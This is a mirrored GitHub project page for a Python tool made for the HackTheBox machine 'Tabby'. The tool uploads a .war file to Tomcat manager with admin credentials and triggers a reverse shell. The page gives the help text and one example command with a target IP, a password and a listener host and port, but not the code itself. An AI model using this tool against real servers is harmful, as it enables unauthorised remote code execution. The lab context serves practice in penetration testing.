项目作者: Frees3c

项目描述 :
Tomcat9 auto deploy war
高级语言: Python
项目地址: git://github.com/Frees3c/HTB-Tabby-autodeploy-war.git
创建时间: 2021-01-08T01:59:18Z
项目社区:https://github.com/Frees3c/HTB-Tabby-autodeploy-war

开源协议:

下载


Tomcat9 autodeploy war

Python script to auto deploy .war to tomcat-manager, and receive a reverse shell.

Help

  1. usage: autodeploy_war.py [-h] [-t TARGET] [-P PORT] [-p PASSWORD] [-u USER] [-Lp LPORT] [-Lh LHOST]
  2. Tomcat Authenticated .war upload/shell trigger.
  3. optional arguments:
  4. -h, --help show this help message and exit
  5. -t, --target TARGET
  6. Remote host IP
  7. -P, --port PORT
  8. Remote port to target
  9. -p, --password PASSWORD
  10. tomcat admin password.
  11. -u, --user USER
  12. Tomcat username
  13. -Lp, --LPORT LPORT
  14. Local Port for reverse shell
  15. -Lh, --LHOST LHOST
  16. Local host IP

Usgae

example usage for HTB machine “Tabby”:

autodeploy_war.py -t 10.10.10.194 -P 8080 -p '$3cureP4s5w0rd123!' -u tomcat -Lp 4444 -Lh 10.10.10.1